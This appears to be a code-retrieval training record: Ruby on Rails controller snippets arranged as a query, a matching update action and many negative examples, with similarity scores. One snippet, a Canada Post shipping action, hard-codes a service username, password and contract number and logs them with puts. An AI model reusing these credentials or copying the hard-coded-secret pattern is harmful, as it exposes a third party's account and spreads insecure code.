"def create\n @champion_series_point = ChampionSeriesPoint.new(champion_series_point_params)\n\n respond_to do |format|\n if @champion_series_point.save\n format.html { redirect_to @champion_series_point, notice: 'Champion series point was successfully created.' }\n format.json { render action: 'show', status: :created, location: @champion_series_point }\n else\n format.html { render action: 'new' }\n format.json { render json: @champion_series_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def bead_pack_params\n params.require(:bead_pack).permit(:count, :bead_type_id, :size_id, :name, :new_type_name, :new_size_name, :picture)\n end",
"def create\n @shop_fb_credit_offer = Shop::FbCreditOffer.new(params[:shop_fb_credit_offer])\n\n respond_to do |format|\n if @shop_fb_credit_offer.save\n format.html { redirect_to @shop_fb_credit_offer, notice: 'Fb credit offer was successfully created.' }\n format.json { render json: @shop_fb_credit_offer, status: :created, location: @shop_fb_credit_offer }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shop_fb_credit_offer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pack = Pack.new(params[:pack])\n\n if @pack.save\n redirect_to(edit_pack_path(@pack), :notice => 'Product Mixed was successfully created.')\n else\n render :action => \"new\"\n end\n end",
"def create\n @card_punch = CardPunch.new(params[:card_punch])\n\n respond_to do |format|\n if @card_punch.save\n format.html { redirect_to(@card_punch, :notice => 'CardPunch was successfully created.') }\n format.xml { render :xml => @card_punch, :status => :created, :location => @card_punch }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @card_punch.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @package_catering = PackageCatering.new(package_catering_params)\n\n respond_to do |format|\n if @package_catering.save\n format.html { redirect_to @package_catering, notice: 'Package catering was successfully created.' }\n format.json { render :show, status: :created, location: @package_catering }\n else\n format.html { render :new }\n format.json { render json: @package_catering.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n api_service = Api.find_by(status: true).name\n result_hash = RouteCalculator.call(package_params.merge(service: api_service))\n @package = current_user.packages.new(result_hash.merge(package_params))\n \n respond_to do |format|\n if @package.save\n format.html { redirect_to @package, notice: \"Package was successfully created.\" }\n format.json { render :show, status: :created, location: @package }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @package.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n\n if Pricing.varient_split_add params\n #audit(@pricing, current_user)\n render json: @pricing, status: :created\n else\n render json: @pricing.errors, status: :unprocessable_entity\n end\n end",
"def create\n @supply_chain = SupplyChain.new(supply_chain_params)\n\n respond_to do |format|\n if @supply_chain.save\n format.html { redirect_to @supply_chain, notice: 'Supply chain was successfully created.' }\n format.json { render :show, status: :created, location: @supply_chain }\n else\n format.html { render :new }\n format.json { render json: @supply_chain.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @billing_plan = BillingPlan.new(billing_plan_params)\n\n respond_to do |format|\n if @billing_plan.save\n format.html { redirect_to @billing_plan, notice: 'Billing plan was successfully created.' }\n format.json { render action: 'show', status: :created, location: @billing_plan }\n else\n format.html { render action: 'new' }\n format.json { render json: @billing_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @packing_process = PackingProcess.new(params[:packing_process])\n\n respond_to do |format|\n if @packing_process.save\n format.html { redirect_to @packing_process, notice: 'Packing process was successfully created.' }\n format.json { render json: @packing_process, status: :created, location: @packing_process }\n else\n format.html { render action: \"new\" }\n format.json { render json: @packing_process.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mma_picks_pool = MmaPicksPool.new(mma_picks_pool_params)\n @mma_picks_pool.poolowner = current_user.id\n\n respond_to do |format|\n if @mma_picks_pool.save\n format.html { redirect_to @mma_picks_pool, notice: 'Mma picks pool was successfully created.' }\n format.json { render :show, status: :created, location: @mma_picks_pool }\n else\n format.html { render :new }\n format.json { render json: @mma_picks_pool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @scratcher = Scratcher.new(permitted_params)\n\n if @scratcher.save\n render json: @scratcher, status: :created, location: @scratcher\n else\n render json: @scratcher.errors, status: :unprocessable_entity\n end\n end",
"def create\n megam_rest.post_billedhistories(to_hash)\n end",
"def create\n @ballot = Ballot.new(ballot_params)\n\n respond_to do |format|\n if @ballot.save\n format.html { redirect_to ballots_url, notice: 'Thank you for voting.' }\n format.json { render :show, status: :created, location: @ballot }\n else\n format.html { render :new }\n format.json { render json: @ballot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @credit_type = CreditType.new(params[:credit_type])\n\n respond_to do |format|\n if @credit_type.save\n format.html { redirect_to @credit_type, notice: 'Credit type was successfully created.' }\n format.json { render json: @credit_type, status: :created, location: @credit_type }\n else\n format.html { render action: \"new\" }\n format.json { render json: @credit_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sender = params[:sender]\n @destination = params[:destination]\n @package = params[:package]\n @notification = params[:notification]\n @preferences = params[:preferences]\n @settlement_info = params[:settlement_info]\n @request = {\n sender: @sender,\n destination: @destination,\n package: @package,\n notification: @notification,\n preferences: @preferences,\n settlement_info: @settlement_info,\n group_id: '5241556',\n mailing_date: Date.today,\n contract_number: '0042956527',\n service_code: params[:service_code],\n mobo: {\n customer_number: params[:mobo],\n username: 'bc02d6bd3733555c',\n password: '111d1a0d29fc00aa47b66a',\n contract_number: '0042956527'\n }\n }\n puts \"**** #{@request}\"\n\n @response = CANADA_POST_SERVICE.create(\n sender: @sender,\n destination: @destination,\n package: @package,\n notification: @notification,\n preferences: @preferences,\n settlement_info: @settlement_info,\n group_id: '5241556',\n mailing_date: Date.today,\n contract_id: '0042956527',\n service_code: params[:service_code],\n mobo: {\n customer_number: params[:mobo],\n username: 'bc02d6bd3733555c',\n password: '111d1a0d29fc00aa47b66a',\n contract_number: '0042956527'\n }\n )\n puts \"Full Response: #{@response}\"\n unless @response[:create_shipping][:errors].present?\n Shipping.track_shipping(@response)\n end\n respond_to do |format|\n format.js {}\n end\n end",
"def upload_packlist(pl_name, pl_count, pl_path)\n upload_packlist_btn.click\n name.set pl_name\n item_count.set pl_count\n # this is needed because the file field is hidden in balance\n Capybara.ignore_hidden_elements = false\n attach_file(\"Packlist File\", File.expand_path(pl_path))\n Capybara.ignore_hidden_elements = true\n continue.click\n accept_mapping.click\n sleep 10\n refresh_browser()\n end",
"def create\n @project = Project.find(params[:project_id])\n @bidder_amount = @project.bidder_amounts.create(bidder_amount_params)\n\n respond_to do |format|\n if @bidder_amount.save\n format.html { redirect_to @project, notice: 'Bidder amount was successfully created.' }\n format.json { render :show, status: :created, location: @bidder_amount }\n else\n format.html { render :new }\n format.json { render json: @bidder_amount.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @settlebuddy_support = SettlebuddySupport.new(settlebuddy_support_params)\n\n respond_to do |format|\n if @settlebuddy_support.save\n format.html { redirect_to @settlebuddy_support, notice: 'Settlebuddy support was successfully created.' }\n format.json { render :show, status: :created, location: @settlebuddy_support }\n else\n format.html { render :new }\n format.json { render json: @settlebuddy_support.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @treatment_point_prescription = Treatment::PointPrescription.new(treatment_point_prescription_params)\n\n respond_to do |format|\n if @treatment_point_prescription.save\n format.html { redirect_to @treatment_point_prescription, notice: 'Point prescription was successfully created.' }\n format.json { render action: 'show', status: :created, location: @treatment_point_prescription }\n else\n format.html { render action: 'new' }\n format.json { render json: @treatment_point_prescription.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @coin_set = CoinSet.new(params[:coin_set])\n\n respond_to do |format|\n if @coin_set.save\n format.html { redirect_to root_path, notice: 'Coin set was successfully created.' }\n format.json { render json: @coin_set, status: :created, location: @coin_set }\n else\n format.html { render action: \"new\" }\n format.json { render json: @coin_set.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_points\n user = User.find(params[:user_id])\n\n if transaction_params[:points] < 0 # This is for negative additions - possible input per instructions\n payer_balance = user.payer_points_subtotal(transaction_params[:payer_name])\n points_to_deduct = transaction_params[:points] * -1\n # Do not deduct more points than user's total payer sub-balance\n if payer_balance - points_to_deduct < 0 # must be enough points from given payer in the account\n render json: {error: \"Can't deduct more than user's total payer sub-balance\"}, status: :not_acceptable\n else\n removed_points = Transaction.deduct_points(user.id, points_to_deduct, transaction_params[:payer_name])\n removed_points.size > 0 ? (render json: removed_points, each_serializer: RemovedTransactionSerializer) : (render json: removed_transactions.to_json)\n end\n\n else # Positive additions - usual use case\n transaction = user.transactions.new(payer_name: transaction_params[:payer_name], points: transaction_params[:points], original_points: transaction_params[:points])\n if transaction.valid?\n transaction.save\n render json: transaction, serializer: TransactionShowSerializer\n else\n render json: {errors: transaction.errors}, status: :bad_request\n end\n end\n end",
"def create\n @studio_point = StudioPoint.new(studio_point_params)\n\n respond_to do |format|\n if @studio_point.save\n format.html { redirect_to @studio_point, notice: 'Studio point was successfully created.' }\n format.json { render :show, status: :created, location: @studio_point }\n else\n format.html { render :new }\n format.json { render json: @studio_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @point = Point.new(params[:point])\n\n respond_to do |format|\n if @point.save\n format.html { redirect_to @point, notice: 'Point was successfully created.' }\n format.json { render json: @point, status: :created, location: @point }\n else\n format.html { render action: \"new\" }\n format.json { render json: @point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def order_pack_package_params\n params.require(:order_pack_package).permit(:origin, :destination, :status, :history, :waybill, :total_pieces, :piece, :order_id, :order_pack_id)\n end",
"def create\n begin\n purchase = Purchase.new(history_params)\n purchase.package = @package\n purchase.user = current_user\n\n # Get the credit card details submitted by the form\n token = stripe_token_params\n\n # Create the charge on Stripe's servers - this will charge the user's card\n Purchase.transaction do\n promo = ParamsHelper.parse_promo_code_query(params)\n total = @package.total\n if promo\n total = promo.discount_price(total)\n purchase.promo_code = promo\n purchase.discount = @package.total - total\n end\n begin\n charge = Stripe::Charge.create(\n :amount =>(total * 100).to_i(), # amount in cents\n :currency => \"cad\",\n :source => token[:id],\n :description => \"#{@package.quantity} bids purchased\"\n )\n purchase.transaction_id = charge.id\n purchase.total = total\n\n if purchase.save\n render json: purchase\n else\n # This should NEVER happen, if it does, it requires immediate investigation\n logger.fatal \"Trying to create purchase #{purchase.inspect} resulted in errors: #{purchase.errors.full_messages}\"\n errors = errors_to_hash(purchase)\n render json: errors, status: :unprocessable_entity\n end\n rescue Stripe::CardError => e\n logger.warn \"Card declined for purchase #{purchase.inspect}\"\n warn_exception(e)\n errors = [ \"Your credit card was declined by Stripe, please contact support\"]\n render json: errors, status: :unprocessable_entity\n end\n end\n rescue ActiveRecord::RecordNotFound\n render json: {:promo_code => \"Promotion code is invalid\"}, status: :bad_request\n end\n end"
] |
[
"0.6830603",
"0.64698017",
"0.61246294",
"0.5901423",
"0.5814124",
"0.58043295",
"0.5740566",
"0.57147807",
"0.57138926",
"0.5712787",
"0.571232",
"0.5711936",
"0.5686819",
"0.5673943",
"0.5668886",
"0.56241727",
"0.55962145",
"0.5557745",
"0.55378014",
"0.5536556",
"0.552861",
"0.5521186",
"0.55205745",
"0.55007005",
"0.5497763",
"0.5484888",
"0.54707044",
"0.5463408",
"0.5461915",
"0.5455604",
"0.5418739",
"0.5387848",
"0.5386361",
"0.5381262",
"0.5341521",
"0.53372353",
"0.53184",
"0.5317887",
"0.5307346",
"0.5303973",
"0.5292545",
"0.52853686",
"0.52836066",
"0.5276681",
"0.52764064",
"0.5260084",
"0.5252007",
"0.52425224",
"0.5238994",
"0.52383775",
"0.52366036",
"0.5235055",
"0.52335995",
"0.52210295",
"0.5219815",
"0.52142906",
"0.5213352",
"0.52117234",
"0.521046",
"0.5209148",
"0.5208207",
"0.52056",
"0.5205248",
"0.5198325",
"0.51966244",
"0.51952964",
"0.51940787",
"0.518899",
"0.5182866",
"0.51803726",
"0.51740336",
"0.51719564",
"0.5171392",
"0.5170719",
"0.5159422",
"0.5158727",
"0.515677",
"0.51527125",
"0.51515657",
"0.51496464",
"0.51457435",
"0.51377165",
"0.5135533",
"0.51338595",
"0.51319724",
"0.5131496",
"0.51308006",
"0.5126116",
"0.5126027",
"0.51246345",
"0.51235443",
"0.5122946",
"0.51223534",
"0.5119248",
"0.5113481",
"0.51106316",
"0.5108571",
"0.51055604",
"0.5103208",
"0.51031846"
] |
0.7847959
|
0
|
PATCH/PUT /credit_point_packs/1 PATCH/PUT /credit_point_packs/1.json
|
def update
respond_to do |format|
if @credit_point_pack.update(credit_point_pack_params)
format.html { redirect_to @credit_point_pack, notice: 'Credit point pack was successfully updated.' }
format.json { render :show, status: :ok, location: @credit_point_pack }
else
format.html { render :edit }
format.json { render json: @credit_point_pack.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_credit_point_pack\n @credit_point_pack = CreditPointPack.find(params[:id])\n end",
"def update\n @bundlesticker = Bundlesticker.find(params[:id])\n\n respond_to do |format|\n if @bundlesticker.update_attributes(params[:bundlesticker])\n format.html { redirect_to @bundlesticker, notice: 'Bundlesticker was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bundlesticker.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to @plan }\n format.json { respond_with_bip(@plan) }\n else\n format.html { render :edit }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @bill_point = BillPoint.find(params[:id])\n\n respond_to do |format|\n if @bill_point.update_attributes(params[:bill_point])\n format.html { redirect_to @bill_point, notice: 'Bill point was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bill_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pointless.update(pointless_params)\n format.html { redirect_to @pointless, notice: 'Pointless was successfully updated.' }\n format.json { render :show, status: :ok, location: @pointless }\n else\n format.html { render :edit }\n format.json { render json: @pointless.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @setbreak.update(setbreak_params)\n format.json { respond_with_bip @setbreak }\n else\n format.json { respond_with_bip @setbreak }\n end\n end\n end",
"def create\n @credit_point_pack = CreditPointPack.new(credit_point_pack_params)\n\n respond_to do |format|\n if @credit_point_pack.save\n format.html { redirect_to @credit_point_pack, notice: 'Credit point pack was successfully created.' }\n format.json { render :show, status: :created, location: @credit_point_pack }\n else\n format.html { render :new }\n format.json { render json: @credit_point_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @point_consumption = PointConsumption.find(params[:id])\n\n respond_to do |format|\n if @point_consumption.update_attributes(params[:point_consumption])\n format.html { redirect_to @point_consumption, :notice => 'Point consumption was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @point_consumption.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pool.update(pool_params)\n format.html { redirect_to @pool, notice: 'Aggregator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def credit_point_pack_params\n params.require(:credit_point_pack).permit(:name, :number_of_points, :price, :available)\n end",
"def update\n respond_to do |format|\n if @spending_pool.update(spending_pool_params)\n format.html { redirect_to @spending_pool, notice: 'Spending pool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @spending_pool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @callplan.update(callplan_params)\n format.html { redirect_to @callplan, notice: 'Callplan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @callplan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @redpack = Redpack.find(params[:id])\n\n respond_to do |format|\n if @redpack.update_attributes(params[:redpack])\n format.html { redirect_to @redpack, notice: 'Redpack was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @redpack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @credits_offer.update(credits_offer_params)\n format.html { redirect_to admin_credits_offers_path, notice: 'CreditsOffer was successfully updated.' }\n format.json { render :show, status: :ok, location: @credits_offer }\n else\n format.html { render :edit }\n format.json { render json: @credits_offer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order_pack.update(order_pack_params)\n format.html { redirect_to @order_pack, notice: 'Order pack was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_pack }\n else\n format.html { render :edit }\n format.json { render json: @order_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def update\n respond_to do |format|\n if @starter_pack.update(starter_pack_params)\n format.html { redirect_to settings_url, notice: 'Starter pack was successfully updated.' }\n format.json { render :show, status: :ok, location: @starter_pack }\n else\n format.html { render :edit }\n format.json { render json: @starter_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @package_description.update(:package_number => managed_params, :package_name=>params[:package_pack_type])\n format.html { redirect_to @package_description, notice: 'Package description was successfully updated.' }\n format.json { render :show, status: :ok, location: @package_description }\n else\n format.html { render :edit }\n format.json { render json: @package_description.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mod_pack.update(mod_pack_params)\n format.html { redirect_to @mod_pack, notice: 'Mod pack was successfully updated.' }\n format.json { render :show, status: :ok, location: @mod_pack }\n else\n format.html { render :edit }\n format.json { render json: @mod_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @key_point = KeyPoint.find(params[:id])\n\n respond_to do |format|\n if @key_point.update_attributes(params[:key_point])\n format.html { redirect_to :back, notice: 'Key point was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @key_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @packing_list = PackingList.find(params[:packing_list_id])\n @context = @packing_list.context\n @packable = @packing_list.packables.find(params[:packable_id])\n\n respond_to do |format|\n if @packable.update_attributes(params[:packable])\n format.html { redirect_to @packing_list, notice: 'Packing List was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @packable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n puts \"update #{@need.as_json} #{updated_params.as_json}\"\n respond_to do |format|\n if @need.update(updated_params)\n puts \"brucep update success\"\n format.html { redirect_to new_need_path }\n format.json { render :show, status: :ok, location: @need }\n else\n format.html { render :edit }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @super_bowl_pick = SuperBowlPick.find(params[:id])\n\n respond_to do |format|\n if @super_bowl_pick.update_attributes(params[:super_bowl_pick])\n format.html { redirect_to @super_bowl_pick, notice: 'Super bowl pick was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @super_bowl_pick.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ipack = Ipack.find(params[:id])\n\n respond_to do |format|\n if @ipack.update_attributes(params[:ipack])\n format.html { redirect_to ipacks_url, notice: 'Collection successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ipack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @product_pack.update(product_pack_params)\n format.html { redirect_to @product_pack, notice: 'Product pack was successfully updated.' }\n format.json { render :show, status: :ok, location: @product_pack }\n else\n format.html { render :edit }\n format.json { render json: @product_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @point.update(point_params)\n format.html { redirect_to @point, notice: 'Point was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @fundamental_resource_pool = Fundamental::ResourcePool.find(params[:id])\n\n respond_to do |format|\n if @fundamental_resource_pool.update_attributes(params[:fundamental_resource_pool])\n format.html { redirect_to @fundamental_resource_pool, notice: 'Resource pool was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fundamental_resource_pool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @bead_pack.update(bead_pack_params)\n format.html { redirect_to @bead_pack, notice: 'Bead pack was successfully updated.' }\n format.json { render :show, status: :ok, location: @bead_pack }\n else\n format.html { render :edit }\n format.json { render json: @bead_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @point_submission.update(point_submission_params)\n format.html { redirect_to @point_submission, notice: 'Point submission was successfully updated.' }\n format.json { render :show, status: :ok, location: @point_submission }\n else\n format.html { render :edit }\n format.json { render json: @point_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_credit_card\n json_response({ message: 'NOT IMPLEMENTED' })\n end",
"def update\n # if @bonus.update(bonus_params)\n # render :show, status: :ok, location: @bonus\n # else\n # render json: @bonus.errors, status: :unprocessable_entity\n # end\n end",
"def update\n @supermarket = Supermarket.find(params[:id]) \n respond_to do |format|\n if @supermarket.update(supermarket_params)\n format.json { render json: @supermarket, status: :ok }\n end\n end\n end",
"def update\n @shop_bonus_offer = Shop::BonusOffer.find(params[:id])\n\n respond_to do |format|\n if @shop_bonus_offer.update_attributes(params[:shop_bonus_offer])\n format.html { redirect_to @shop_bonus_offer, notice: 'Bonus offer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop_bonus_offer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @shop_fb_credit_offer = Shop::FbCreditOffer.find(params[:id])\n\n respond_to do |format|\n if @shop_fb_credit_offer.update_attributes(params[:shop_fb_credit_offer])\n format.html { redirect_to @shop_fb_credit_offer, notice: 'Fb credit offer was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @shop_fb_credit_offer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @champion_series_point.update(champion_series_point_params)\n format.html { redirect_to @champion_series_point, notice: 'Champion series point was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @champion_series_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end",
"def update\n @point = Point.find(params[:id])\n\n respond_to do |format|\n if @point.update_attributes(params[:point])\n format.html { redirect_to @point, notice: 'Point was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @check_point.update(check_point_params)\n format.html { redirect_to @check_point, notice: 'Check point was successfully updated.' }\n format.json { render :show, status: :ok, location: @check_point }\n else\n format.html { render :edit }\n format.json { render json: @check_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ballot.update(ballot_params)\n format.html { redirect_to @ballot, notice: \"ballot was successfully updated.\" }\n format.json { render :show, status: :ok, location: @ballot }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @ballot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @card.update(card_params)\n format.html { redirect_to plan_path(@plan), notice: 'Card was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pick.update_attributes(picks_params)\n format.html { redirect_to games_path, notice: 'Pick was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @pick.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @punchcard.update(punchcard_params)\n format.html { redirect_to @punchcard, notice: 'Punchcard was successfully updated.' }\n format.json { render :show, status: :ok, location: @punchcard }\n else\n format.html { render :edit }\n format.json { render json: @punchcard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @purchase_request.update(purchase_request_params)\n format.html { redirect_to pr_index_breakdown_spares_path(pr_id: @purchase_request.id), notice: 'Purchase request was successfully updated.' }\n format.json { render :show, status: :ok, location: @purchase_request }\n else\n format.html { render :edit }\n format.json { render json: @purchase_request.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @scratcher = Scratcher.find(params[:id])\n\n if @scratcher.update(permitted_params)\n head :no_content\n else\n render json: @scratcher.errors, status: :unprocessable_entity\n end\n end",
"def update\n @plate_cost = PlateCost.find(params[:id])\n\n respond_to do |format|\n if @plate_cost.update_attributes(params[:plate_cost])\n format.html { redirect_to @plate_cost, notice: 'Plate Cost was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plate_cost.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pool.update(pool_params)\n format.html { redirect_to @pool, notice: 'Pool was successfully updated.' }\n format.json { render :show, status: :ok, location: @pool }\n else\n format.html { render :edit }\n format.json { render json: @pool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pool.update(pool_params)\n format.html { redirect_to @pool, notice: 'Pool was successfully updated.' }\n format.json { render :show, status: :ok, location: @pool }\n else\n format.html { render :edit }\n format.json { render json: @pool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @shop_point.update(shop_point_params)\n format.html { redirect_to @shop_point, notice: 'Shop point was successfully updated.' }\n format.json { render :show, status: :ok, location: @shop_point }\n else\n format.html { render :edit }\n format.json { render json: @shop_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @points_spent = PointsSpent.find(params[:id])\n\n respond_to do |format|\n if @points_spent.update_attributes(params[:points_spent])\n format.html { redirect_to @points_spent, notice: 'Points spent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @points_spent.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @contractor_feature = ContractorFeature.find(params[:id])\n\n respond_to do |format|\n if @contractor_feature.update_attributes(params[:contractor_feature])\n format.html { redirect_to @contractor_feature, notice: 'Contractor feature was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contractor_feature.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @credit = Credit.find(params[:id])\n\n respond_to do |format|\n if @credit.update_attributes(params[:credit])\n format.html { redirect_to @credit, notice: 'Credit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @credit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @credit = Credit.find(params[:id])\n\n respond_to do |format|\n if @credit.update_attributes(params[:credit])\n format.html { redirect_to @credit, notice: 'Credit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @credit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order_pack_package.update(order_pack_package_params)\n format.html { redirect_to @order_pack_package, notice: 'Order pack package was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_pack_package }\n else\n format.html { render :edit }\n format.json { render json: @order_pack_package.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @point_of_diversion.update(point_of_diversion_params)\n format.html { redirect_to @point_of_diversion, notice: 'Point of diversion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @point_of_diversion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @point.update(point_params)\n format.html { redirect_to @point, notice: 'Point was successfully updated.' }\n format.json { render :show, status: :ok, location: @point }\n else\n format.html { render :edit }\n format.json { render json: @point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @Point3Card.update(Point3Card_params)\n format.html { redirect_to @Point3Card, notice: 'Point3Card was successfully updated.' }\n format.json { render :show, status: :ok, location: @Point3Card }\n else\n format.html { render :edit }\n format.json { render json: @Point3Card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mma_picks_pool.update(mma_picks_pool_params)\n format.html { redirect_to @mma_picks_pool, notice: 'Mma picks pool was successfully updated.' }\n format.json { render :show, status: :ok, location: @mma_picks_pool }\n else\n format.html { render :edit }\n format.json { render json: @mma_picks_pool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ballot.update(ballot_params)\n format.html { redirect_to @ballot, notice: 'Ballot was successfully updated.' }\n format.json { render :show, status: :ok, location: @ballot }\n else\n format.html { render :edit }\n format.json { render json: @ballot.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @care_plan.update(care_plan_params)\n render json: @care_plan, status: :ok, location: @care_plan\n else\n render json: @care_plan.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @billing_plan.update(billing_plan_params)\n format.html { redirect_to @billing_plan, notice: 'Billing plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @billing_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
